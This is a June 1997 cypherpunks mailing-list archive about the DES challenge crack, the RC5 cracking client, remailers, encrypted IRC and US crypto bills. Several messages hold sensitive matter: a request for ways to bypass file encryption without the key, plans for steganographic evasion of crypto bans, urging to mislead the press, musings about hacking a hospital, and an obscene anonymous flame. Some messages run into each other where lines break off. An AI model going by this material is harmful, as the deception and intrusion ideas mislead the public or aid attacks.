release.  Or maybe we should have also sung the praises of C2Net's
"uncompromised Internet security software"?

The crack of the DES Challenge Key is important.  Presenting an
accurate description of what happened is just as important.  There is
no need to cause widespread panic, yet.  This is a shot across the
proverbial bow.

Trying to present it to the public at large is a difficult
proposition, and not something that can easily be covered in the sorts
of soundbyte-driven news reports seen on shows like Headline News.  I
know, I've been trying to talk about the meaning of DESCHALL to
business managers and Regular People for more than three months.

What we should be doing is encouraging discussion of the meaning and
significance of what we've done, the sort of thing that will lead to
the kinds of in-depth reports that will accurately tell Joe Citizen
exactly what all of this means.

- -matt


>> I caught the Headline News mention of the DES crack and it
>> unfortunately put the wrong spin on things.
>> 
>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."
>> 
>> The report was delivered with a hint of a smile, as if to suggest
>> that the time and resources might have been better spent.
>> 
>> *Sigh*
>> 
>> 


sameer> -- Sameer Parekh Voice: 510-986-8770 President FAX:
sameer> 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net

- -- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin at research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBM6xtTn6R34u/f3zNAQEq3Qf+IjX54s2tLK8IqUzVlk9TYtTsgyvK0cZG
hlNHKhqS/Ps7+P3bqiAajl8aSYot1JEZP0IWVXMFScJ3YJMWjUQqLCWJxzHG/bM9
iVSeZ7C4jJu82Hc3Ojogel4rO0tQTkcmdImNZhKzHUjEO0hGcftSO6AkhKbgpyIz
FNEG0+L0hHvSc58fFhjeIM9Z8Lo9ft6ibXYQfCMgO8Nq9ITG9ADvWXIskAYZKLyG
wrjxjaQaUtAMpHpC452JvkGFQE5x5HF6n2p1ifh7C7G3JUlB9Aci/WJtkz9vZEf3
bXLLjw68p3RrstZ48ZT6Zq62GU72Sua97URz7Xyz1be2ZkyMPySRWw==
=ro2d
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Sat Jun 21 19:13:18 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 10:13:18 +0800
Subject: cypherpunks PR fluff-ups
Message-ID: <199706220201.TAA23425@fat.doobie.com>



Adam Back wrote:
> Some general comments about the crack:
> 
> Many of the people involved in running the cracks seemed more
> concerned with their own glory, or with getting their name in lights
> to enhance their consulting rates, or the technical interest of it, or
> control freakish tendencies over the management of it, arguing over
> how best to design the software to conceal the key from the finder of
> the key! etc, than in making a political statement about the weakness
> of DES.

  There seemed to be a multitude of political interests working
to different ends in a number of the crack efforts, according to
a lady who was involved with a couple of them rather intimately.
  Her impression was that there were people involved who were
purposely giving out patently bad advice and working toward
removing some of the more competent players from the scene.

> Seemed like few of them were cypherpunks at heart.
> 
> This reflected itself I think in the complete hostility to giving the
> prize money to the winner, the fact that several of the cracks
> wouldn't reveal the source code, nor their techniques.

  I know more than a few people who began to join in one or
another of the cracks and then said to hell with it because
of the cliquish nature of the efforts.
  Peter Trei's software ran best on my machines but when I
contacted a couple of the groups as to how to find what keys
had already been searched I was pretty much told to fuck off
like it was some great secret only for the in-crowd.
  Also, there was a fair amount of sabotage going on in the
background. The New Media effort in particular was plagued 
by bogus versions of their software being distributed and
efforts to interfere with various sites running their
software. Even their own version of the software was bogus
at the point I first downloaded it. When I emailed them to
point it out, they denied it, but then they stopped giving
out their software for a couple weeks while they rewrote it,
and then refused to make their source code available after
that.

  All in all, my impression was there was too much ego and
intrigue going on to make the distributed cracking efforts
terribly efficient and functional at many points along the
way. I would give those running the distributed cracks a
few points for effort, but not many points for integrity.
  I still have a lingering feeling that the whole affair is
being choreographed according to some unknown script, but
I'm suspicious by nature.

TruthCracker







From lucifer at dhp.com  Sat Jun 21 19:27:05 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:27:05 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706220217.WAA08245@dhp.com>



Kent Crispin wrote:
> On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> > Statements similar to yours have been made so many times, scolding
> > "extremists" for "not being realistic." I seem to remember something about
> > extremism in defense of liberty being no vice, and moderation no virtue.
> > Either way, if you compromise, you don't get what you want. That is
> > absolutely obvious. So why compromise?
> 
> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? 

  "Give me half my freedom, or hurt me bad."
                      - Negotiator Crispin
 
> The real question is: What is the most *effective* way for achieving
> your ends.

  "Give me compromise, or I will give you death."
                           - Prosecutor Crispin


  Wasn't someone named Crispin one of the original signers of 
the "Declaration of Wishing We Weren't Oppressed"?

Half-TruthMonger







From lucifer at dhp.com  Sat Jun 21 19:30:33 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:30:33 +0800
Subject: Career non-criminal
Message-ID: <199706220222.WAA09189@dhp.com>



>From News of the Weird:

* The New York Times reported in December that Odell Sheppard,
a "middle-aged handyman," had just passed his ninth consecutive
year of incarceration in Cook County Jail in Chicago, even though
he has not been charged with a crime.  He was sent to jail for
failing to reveal the whereabouts of his daughter Deborah, who was
the subject of a child-custody dispute between Sheppard and
Deborah's mother, but Sheppard maintains he has no idea where
the girl is.







From alan at ctrl-alt-del.com  Sat Jun 21 20:49:00 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 22 Jun 1997 11:49:00 +0800
Subject: McCain Talks Crypto
Message-ID: <3.0.2.32.19970621204242.04307430@mail.teleport.com>



This guy needs to connect to a clue server soon before it is too late...


http://www.wired.com/news/politics/story/4588.html           

           McCain Talks Crypto
           by Todd Lappin 

           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
           John McCain. 

           It has been a big week for the Republican from
           Arizona. On Monday, he and Senator Bob Kerrey
           (D-Nebraska) dropped a bomb on the encryption
           debate. They introduced S909, the Secure Public
           Networks Act, a bill that would write into law most of
           the Clinton administration's encryption policy -
           leviathan key recovery system, continued restraints
           on exporting strong encryption, the whole bit. Then,
           leveraging his chairmanship of the Senate
           Commerce Committee, he pushed the bill onto a
           legislative fast track. Despite the fact that his bill cuts
           the legs from under Pro-CODE - a bill by Montana
           Republican Conrad Burns that would scrap the
           export controls - McCain said he's eager to negotiate
           on the issues. 

           Here are the highlights of our 5-minute conversation
           - during which a certain two-word term was repeated
           again and again. Let's see if you can spot it. 

           On the rationale behind S909:
           "I've always said that national security is a primary
           concern - and based on my own experience [nearly
           six years as a Vietnam POW], I've had a lot of time to
           consider how important that really is." 

           On the software industry:
           "Frankly, I'm somewhat surprised that the software
           industry would be so willing to downplay the dangers
           of child porn.... This stuff is out there, and we can't
           allow child pornographers to hide by encrypting that
           material." 

           "... I'm astonished that any industry would consider
           their priorities to be so important that they override
           national security concerns." 

           On the rival Pro-CODE bill:
           "I'm all for Pro-CODE - except for its impact on
           national security. 

           On the future:
           "I promise you, now that we've adopted this
           legislation, we will sit down and work this out with all
           the parties involved. As I've said before, from a
           practical standpoint, we can't override a presidential
           veto. With this bill, we've established that the
           president of the United States has authority over
           national security." 






From rc5 at dev.null  Sat Jun 21 21:49:59 1997
From: rc5 at dev.null (RC5 Crackhead)
Date: Sun, 22 Jun 1997 12:49:59 +0800
Subject: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <33ACABDA.1FC4@dev.null>



C Matthew Curtin wrote:

> The crack of the DES Challenge Key is important.  Presenting an
> accurate description of what happened is just as important.  There is
> no need to cause widespread panic, yet.  This is a shot across the
> proverbial bow.

  Screw presenting an accurate description.
  The test mode of the software indicates my machine will check about
80,000 keys/sec. In actuality, since I am running other programs as
I use it, it checks about 5,000 keys/sec.
  Using my machine as an example of the average efficiency of all
the 1,000 machines, one could thus estimate that the crack could have 
succeeded in about 90 days using one machine.

  So why not put out a press report making this claim? Headline News
would probably snap it up!
  The problem is that most people working to fight censorship and
oppression have this thing about wearing white hats and honesty and
all of that crap. Meanwhile, those working to censor and oppress
others to enhance their own power and finances are content to twist
the facts to fit their desires. And since they do have money and
power, their voice gets heard quite easily by the major media.

  Thus the people in Waco died because of a "mistake" and the 
people in OKC died because of a "monster."
  Thus the Netscape problem was a "bug" that needs fixing instead
of a wake-up call that if the government is allowed to require
programmers to build surveillance capabilities into our software,
then unknown others are going to take advantage of those built-in
capabilities. And thus those who uncover the compromising of our
privacy will be called "blackmailers" and "terrorists" by the
very people who intentionally wrote their software to support
the Clipper chip, or GAK, or the Next Step in fascism.
  Thus the DES crack was a monumental effort by a plethora of
computer gurus using a massive amount of computers, instead of
a mostly disorganized effort by a variety of people doing it as
an exercise in their spare time, and using the scraps from the
CPU tables of those participating.


  "Everybody knows that the boat is sinking.
   Everybody knows that the captain lied."
                  - Lou Reed

  In the end, the media gets away with feeding us lies because
that is what we want to hear.
  Everyone who wants to believe that they might wake up in the
morning with 800 law enforcement agents surrounding them because
of their religious beliefs, raise your hand.
  Everyone who wants to believe that if they blindly go along 
with all manner of injustice and justify it as "the way the
system works" that they need to fear personal reprisal, raise 
your hand.
  Everyone who wants to believe that every time you use your
computer over a phone line others can access your files, raise
your hand.
  Everyone who wants to believe that the government is perfectly
willing to compromise the security and privacy of your financial
transactions in order to stifle crypto development that won't
allow them fascist control over all information, raise your 
hand.

  "Everybody knows that the war is over.
   Everybody knows that the good guys lost."
                - Lou Reed

  I truly believe this, but it does not mean I won't continue
to work on the RC5 crack and continue to take small, halting
steps against the wind of middle-class fascism sweeping the 
country. I will continue to do so because I also believe that
the end of any war is the beginning of the next revolution.
  When Timothy McCypherpunk hacks a government hospital because
of weak security and because of weak encryption is able to
destroy their files, then I am sure that lives will be lost.
Even children's lives, perhaps.
  I am equally certain that he/she will be called a "blackmailer"
and a "terrorist" and a "monster." Why? Because the word
"revolutionary" is too scary.

  We can only have so many Waco's, just like we could only have
so many Kent State's, before people begin backing the "terrorists"
instead of the government.
  Louis Riel, a Canadian Metis (French-Indian) was hung as a
terroist murderer, and now there are statues honoring him
and government buildings bearing his name.
  We can hang Timothy McVeigh and Jim Bell and the Netscape
"blackmailer" but we can't guarantee that there won't be
a statue of them in the town square fifty years from now.

  When the information counter-revolution comes, remember that 
I started writing about it before Tim May began posting to
the hallowed cypherpunk archives. (a cheap shot, but a *good*
one, eh?)
http://bureau42.base.org/public/xenix
http://bureau42.base.org/public/webworld

RC5CrackHead






From lucifer at dhp.com  Sat Jun 21 22:25:22 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 13:25:22 +0800
Subject: McCain Talks Crypto
Message-ID: <199706220513.BAA13427@dhp.com>



Alan Olsen wrote:
>            Here are the highlights of our 5-minute conversation
>            - during which a certain two-word term was repeated
>            again and again. Let's see if you can spot it.
> 
>            On the rationale behind S909:
>            "I've always said that ZIONIST CONSPIRACY is a primary
>            concern 
> 
>            On the software industry:
>            "Frankly, I'm somewhat surprised that the software
>            industry would be so willing to downplay the dangers
>            of ZIONIST CONSPIRACY
> 
>            On the rival Pro-CODE bill:
>            "I'm all for Pro-CODE - except for its impact on
>            ZIONIST CONSPIRACY.
> 
>            On the future:
>            "With this bill, we've established that the
>            president of the United States has authority over
>            ZIONIST CONSPIRACY."






From nexus at eskimo.com  Sat Jun 21 22:42:00 1997
From: nexus at eskimo.com (Brian Lane)
Date: Sun, 22 Jun 1997 13:42:00 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706161604.LAA19766@mailhub.amaranth.com>
Message-ID: <33b4b98b.93491988@mail.eskimo.com>



On Mon, 16 Jun 97 11:00:57 -0500, you wrote:

>Has Lynx been ported to the Mac? You might want to just write your own. If
>your not intrested in all the N$ crap (frames, animated Gifs, cookies,
>...) it is really quite easy code to write a few socket calls and parsing
>of some text. I wrote one over a weekend that handles 99% of my web
>browsing needs.

  http://lynx.browser.org says there is a Mac version in Beta test
right now.

  I'm currently using Opera v2.12 which uses alot less memory than
Netscape, but I don't know how 'secure' it is. I'm download the win32
port of Linx right now to give it a try.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From stewarts at ix.netcom.com  Sun Jun 22 01:15:30 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 22 Jun 1997 16:15:30 +0800
Subject: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970622005702.03095848@popd.ix.netcom.com>



At 03:31 PM 6/21/97 -0400, Nelson Minar wrote:
>I don't know any more what mailing lists I should use. Coderpunks?
>Cryptography? Cypherpunks? DCSB?

I'd posted my mail to cypherpunks and cryptography,
so I'm forwarding yours there.

>It already exists. IRC includes the "DCC" protocol - direct client to
>client communication. It's mostly for exchange of files (read:
>pornography), but you can also use it for chat or, even better,
>encrypted chat. It's like a /msg except that the servers are never
>involved, it's directly between two clients.
>
>The DCC stuff isn't very standardized, so I don't know how
>interoperable it all is. I believe that IRCII, the Unix client, has
>something in it along the lines of DES with secret keys.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From aba at dcs.ex.ac.uk  Sun Jun 22 01:20:22 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 22 Jun 1997 16:20:22 +0800
Subject: why we need source code (was Re: RC5 crack)
In-Reply-To: <19970621160629.55632@math.princeton.edu>
Message-ID: <199706220814.JAA06026@server.test.net>




Fabrice Planchon  writes:
> Comme disait Adam Back (aba at dcs.ex.ac.uk):
> >
> > Also, no source code.
> >
>
> there have been some discussions about that on the list, they seem
> to fair bogus datas sent to the servers. Kind of makes sense, but
> they could at least release the core source without the
> communication protocol...

Yes, and it's inconvenient for a number of reasons:

- those running the rc5 crack don't sign their binaries (presumably
  because they don't use PGP, or don't know what it is or something),
  who knows what you're downloading, virus, disk formatter, what ever.
  If you had source code, you could verify it yourself at least, even
  if there is no signature.

- This problem with taking too few keys, if you had the source, and they
  can't be bothered to write instructions, or even brief usage notes,
  you could at least figure out how to use it from the source

- Having source allows more people to verify it's correctness (saving
  burning keys on subtly flawed code), spot bugs, etc.  Also allows
  others to find speedups.

- The point about stopping bogus keys being submitted, some validity,
  however.

- Another reason I suspect they won't give source is that they want to
  conceal the key from you because they have other ideas about where the
  money should go than perhaps you do.  (They want $1000 for themselves,
  and will give $8000 to project Gutenburg (boring)).

- When I see people worring about concealing protocols, I get this
  urge to insert a tap between the client and server, and post the
  protocol, to remove that worry for them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706220804.JAA05874@server.test.net>




Fabrice Planchon  writes:
> Comme disait Adam Back (aba at dcs.ex.ac.uk):
> > 
> > Been looking at the RC5 crack project.
> > 
> > http://rc5.distributed.net/ has loads of flashy graphics, stats,
> > etc. but no instructions!
> 
> seems they are in the final process of rewriting clients entirely, with
> a new protocol, etc... so they don't bother explaining how the old
> clients work. Still, I agree it sucks.
> 
> here is the best that I found on that subject in the rc5 list archive..
> 
>    rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
>    jonass at lysator.liu.se
>      
>    -l is logging (writes to a file)
>    -a primary server to use
>    -a2 secondary server
>    -s shows status
>    -k number of blocks to buffer local. The larger number the less you
>    have to be online

The client I have which I downloaded yesterday complains most of those
arguments are illegal.  I think the DOS version and the unix versions
have different usage.

Ben Byer  wrote:
> You want to download the "personal proxy", perproxy.  It should be
> available on the same ftp site as the client.  The proxy will buffer
> the keys and the answers for you... you just run the proxy on your
> machine, point it at rc5proxy.distributed.net, and you point your
> client at localhost.

This method works, in case any others are reading and trying this
under unix.  It's still chewing keys this morning.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970622012113.030acc68@popd.ix.netcom.com>



The original posting was right on target for the cypherpunks list.


>> I was hoping to collect information on setting up anon remailers of 
>> various types and compiling links and articles for the site. Can anybody 
>> point me in the right direction ? 

>Raph Levine confuse the two) is the remailer god, check out his pages for some 
>information.

Levien ... Raph Levien.  

The list of operating status of current remailers
is at http://www.cs.berkeley.edu/~raph/remailer-list.html .
The Mixmaster remailer list is at
http://www.obscura.com/~loki/remailer/mixmaster-faq.html.
Some more good places to look are the cypherpunks archives at
http://infinity.nus.sg/cypherpunks/	(raw mailing list traffic ...)
and http://www.oberlin.edu/~brchkind/cyphernomicon/
 ( Tim May's Cyphernomicon (a bit old, so there's been more remailer
work done since then, but it's very good about a lot of subjects.)

There are probably some other good remailer archives.

Also, as with many things, AltaVista can tell you lots about remailers.
Not in any particular order, but lots :-)

I haven't updated my pages on www.idiom.com/~wcs/remailer in a year or so,
but it was a good rant for the times; I ran a remailer for a while before
it got SPAMMED to death.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Sun Jun 22 01:36:18 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 22 Jun 1997 16:36:18 +0800
Subject: [FLAMING ON THE LIST]
In-Reply-To: 
Message-ID: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>



At 02:17 PM 6/21/97 +0000, Paul Bradley wrote:
>Cypherpunks is totally uncensored and there are no rules for posting, you 
>won`t get flamed for posting off topic, unless you are censorous, for a 
>good short idea of what cypherpunks is all about read Tim's "a cypherpunk 
>manifesto" or his cyphernomicon.

While it _is_ totally uncensored again, it's the Net, you can be
flamed for anything, so you have to decide what level of annoyance
to ignore and what level to make you give up.  

In the case of Cypherpunks, there are a few consistent flamers who will 
not only flame you for everything you post, but will also reply to your post
with a flame against Gilmore and Sameer :-)  Flaming back doesn't make them
go away (one of them has even started roboposting flames to the list
in response to his other flames), but Eudora or procmail filters make 
them vanish almost entirely.....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Sun Jun 22 02:42:41 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 17:42:41 +0800
Subject: Garbled in transmission
Message-ID: <199706220936.CAA00423@fat.doobie.com>



>[...]
>  "Everybody knows that the boat is sinking.
>   Everybody knows that the captain lied."
>                  - Lou Reed
>[...]
> "Everybody knows that the war is over.
>  Everybody knows that the good guys lost."
>                - Lou Reed
>[...]

Umm, no.  Leonard Cohen actually.







From nobody at REPLAY.COM  Sun Jun 22 03:07:18 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 22 Jun 1997 18:07:18 +0800
Subject: Diffie-Hellman
Message-ID: <199706220954.LAA11884@basement.replay.com>



May Tim C. Mayflower's forgeries get stuck up his ass so 
he'll have to shit through his filthy mouth for the rest of 
its miserable life.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/---- Tim C. Mayflower
               (   ) (   )
               oooO   Oooo






From perry at alpha.jpunix.com  Sun Jun 22 03:45:18 1997
From: perry at alpha.jpunix.com (John A. Perry)
Date: Sun, 22 Jun 1997 18:45:18 +0800
Subject: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: 



On Sat, 21 Jun 1997, Bill Stewart wrote:

> >Robert Hettinga  writes:
> >>Is there an encrypted IRC available?
> >>If not, shouldn't there be?
> >>Is such a thing even possible?
> 
> You'd have to think about what you wanted it to do,
> but it should be quite doable.  IRC is normally for sharing
> conversations between an amorphous, changing bunch of people,
> which isn't really a standard thing to do with crypto.  

Actually a simple form of encryption is available. There is a plug-in to
eggdrop called wire. I have used it in my eggdrop bot on #remailop and it
has worked well. Basically you log into the bot with a /dcc chat and then
execute .wire  where  is a mutually agreed upon key. Then to
send encrypted chats to others that have connected with the same key, each
line that you type needs to be preceded with a ";". I'll fire it up if you
want to look at it. Go to any EFnet server, check in and then go to
channel #remailop. Say hello to rops and then check in. I believe it uses
the crypt(3) function for encryption.

 John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg at kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry at jpunix.com is on the keyservers.






From aba at dcs.ex.ac.uk  Sun Jun 22 03:52:33 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 22 Jun 1997 18:52:33 +0800
Subject: how to `go underground' (was Re: The Global Fix is In)
In-Reply-To: 
Message-ID: <199706221002.LAA06654@server.test.net>




Tim May  writes:
> [G8 outlawing of crypto efforts forging ahead]
> 
> It's not hopeless. Physical havens are vulnerable, to all sorts of
> pressures (I doubt many cryptographers want to set up shop in Libya or
> Iraq, not that these places would be hospitable to Cypherpunks sorts of
> goals and methods).
> 
> Going underground, using the untraceable features of cyberspace, may
> be the last, best hope.

I'm not sure we have the software to do this right now.

Let's say that we start with the assumption of remailers still running
in some countries (non G8).

Message pools are ok for receiving messages.

But for sending messages, we need a stego interface to remailers.  Now
seems like a good time to produce this software.  It's time has come,
much as Phil Zimmermann felt the pressure of the 1991 Senate
anti-crime bill 266.

Good stego encoding techniques are the difficult problem.  We could do
something in-your-face like:

use a random number, go to jail!
BECBFEAAA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDB
AA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEA
419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEAAA13241237
...

As a form of protest, where it really is stegoed instructions to a
remailer in a GAK-free country, which is reading the list.

Text stego is hard to do.  At ultra low encoding rates (say a few bits
per email), it would be ok.  (Just message parity, perhaps the entropy
in the message-id, posting time).

Anything more in text seems intrinsically hard to do well enough to
feel comfortable betting against a jail term.

Images and audio files are much rosier targets, but who posts volumes
of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
yet, and pay-per-second phone bills don't help either.

PGP 2.x signatures (presuming we're still allowed to sign posts with
such software) don't have much scope for subliminal channels.  The
time of posting in seconds is about it.

However, PGP 3.x signatures on ElGamal/DSS keys should have.  There
are several subliminal channels in DSS signatures.  It involves
generating a random number component, and this can be exploited.
Still pretty low bandwidth.

Perhaps someone can have a go at adding this to PGP3.x, once Stale has
finished scanning the source code books, and has posted the source.

Also, I hear that PGP3.x has support for RSA keys, but won't generate
them?  Perhaps we can add that back in also.


For comfort, I'd like to be able to post, lets say 10k per day of
messages, via remailers in non-GAKed countries.  Clearly I'm going to
have to increase my rate of bit-production to stego encode this much
data in my stegotext output.  How am I going to do it with good
plausible deniability though?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0




A couple of people have complained of the huge efforts put into
breaking keys, and of the small efforts invested in cypherpunks code
writing of late.

Perhaps there is something to this challenge stuff, in terms of
getting contributors, neatly tabulating results, working up
enthusiasm etc.

So... how about a code writing challenge, an award for the best
cypherpunk project every month.  (No monetary prize, just vote on list
to decide most significant project).

Perhaps a list of how many lines of code.  A hall of fame if you like:

% wc -l `find . -name \*.h -print -o -name \*.c -print`

Eric Young		SSL-eay		101,721 lines
PGP Inc			pgp30		    (?) lines
Phil Zimmermann & co	pgp263		 34,891 lines
Peter Gutmann		cryptlib200	 34,845 lines
Tatu Ylonen		ssh-1.2.20	 33,650 lines
Wei Dai			crypto++ 2.1	 32,831 lines
Ian Goldberg		Lucre 0.9.0	 20,283 lines
Colin Plumb		bnlib		 20,148 lines
Matt Blaze & co		cryptolib-1.1	 19,908 lines
Pr0duct Cipher		PGPTools	 13,062 lines
Pr0duct Cipher		Magic Money	 15,026 lines
Ben Laurie		Apache-SSL patch    957 lines
etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



Ryan Anderson  writes:

> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

>> Please elaborate, as I can't see _any_ problem with eliminating 90% of
>> the sitting legislature.

> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.

Then Congress should be eliminated.  There is no excuse for the CDA
rider and my (now ex-)representative who voted for that bill was
voted into office on a campaign of ending politics-as-usual sorts of
things like that.

Bah!  Good riddance to bad rubbish to the whole lot of them.  Tim May
is right.  I don't wish compromise, I only wish to be left alone.  Why
is that so hard for people in Washington DC to understand?

Right now I have two senators: Dianne "No problem giving government
contract money illegally to my husband" Swinestein and Barbara "No
money in my checking account? I guess I'll just have to write another
one" Boxer and congressional representative Walter "I cannot think of
any government program which should be eliminated" Capps.

The American government is broken.






From wmalik at sdnpk.undp.org  Sun Jun 22 05:58:25 1997
From: wmalik at sdnpk.undp.org (Wasim Q. Malik)
Date: Sun, 22 Jun 1997 20:58:25 +0800
Subject: Decrypting DES
Message-ID: 




Folks, here is a project I am working on. Need your help with it as it is
really important.

You know we often encrypt files using a key (the DES way -- won't talk
about RSA here). Examples are the UN*X "crypt", the MS-Office "Save with
password" option, and lots of other ciphers using this alorithm. Take a
text file, for instance. You provide a key and the file is encrypted using
that key, and can be decrypted only if that key is known. It involved only
one key/password.

Now I was wondering whether we could somehow fool this encryption system
to get to the encrypted material without using the key. It could possibly
be done in many ways:


*	The key has to be stored somewhere in the file, in whatever form,
with which the entered key is compared. It could somehow be gotten hold
of from there. Perhaps a hex editor could be used to scan the first few
bytes of a file for the key.

*	The decryption algorithm/source could be modified to give access
even for a bad password.

*	During the process that the decryptor asks for the input of the
key, we could somehow break out of the routine and bypass it to get to the
contents of the file.


Do you have any ideas about how this could be done? Or is it even possible
theoretically? Any other workarounds you can think of?



Au revoir,
Wasim Q. Malik







From real at freenet.edmonton.ab.ca  Sun Jun 22 06:36:26 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 22 Jun 1997 21:36:26 +0800
Subject: Diffie-Hellman
In-Reply-To: <199706220954.LAA11884@basement.replay.com>
Message-ID: 



On Sun, 22 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C. Mayflower's forgeries get stuck up his ass so 
> he'll have to shit through his filthy mouth for the rest of 
> its miserable life.
> 
>           .oooO           Oooo.
>           (   )   _   _   (   )
>            \ (   / ) ( \   ) /
>         ----\_)-/ (---) \-(_/---- Tim C. Mayflower
>                (   ) (   )
>                oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From putpeel at putpeel.com  Sun Jun 22 22:03:35 1997
From: putpeel at putpeel.com (putpeel at putpeel.com)
Date: Sun, 22 Jun 1997 22:03:35 -0700 (PDT)
Subject: Announcement from Tim at P.E.E.L.
Message-ID: <0000000000.AAA000@putpeel.com>


Hi! You have asked for information about earning income with
our Earth friendly products.  This just came in, thought you might want to know.
Tim

BIG ANNOUNCEMENT!!
This one is so big I have put together a tour on the website for you.  I cannot possible 
send you all you need to see in an email.

Please, for very exciting news, go to:

http://www.putpeel.com/distributors/factory-outlet/outlet.htm

I promise you will be excited!!
your friend,
tim.









From whgiii at amaranth.com  Sun Jun 22 07:11:38 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 22 Jun 1997 22:11:38 +0800
Subject: Party on IRC
Message-ID: <199706221403.JAA05375@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970621023432.0077a4ac at popd.ix.netcom.com>, on 06/21/97 
   at 02:34 AM, Bill Stewart  said:

>>Robert Hettinga  writes:
>>>Is there an encrypted IRC available?
>>>If not, shouldn't there be?
>>>Is such a thing even possible?

>You'd have to think about what you wanted it to do,
>but it should be quite doable.  IRC is normally for sharing
>conversations between an amorphous, changing bunch of people, which isn't
>really a standard thing to do with crypto.  
>But I can see several basic models:
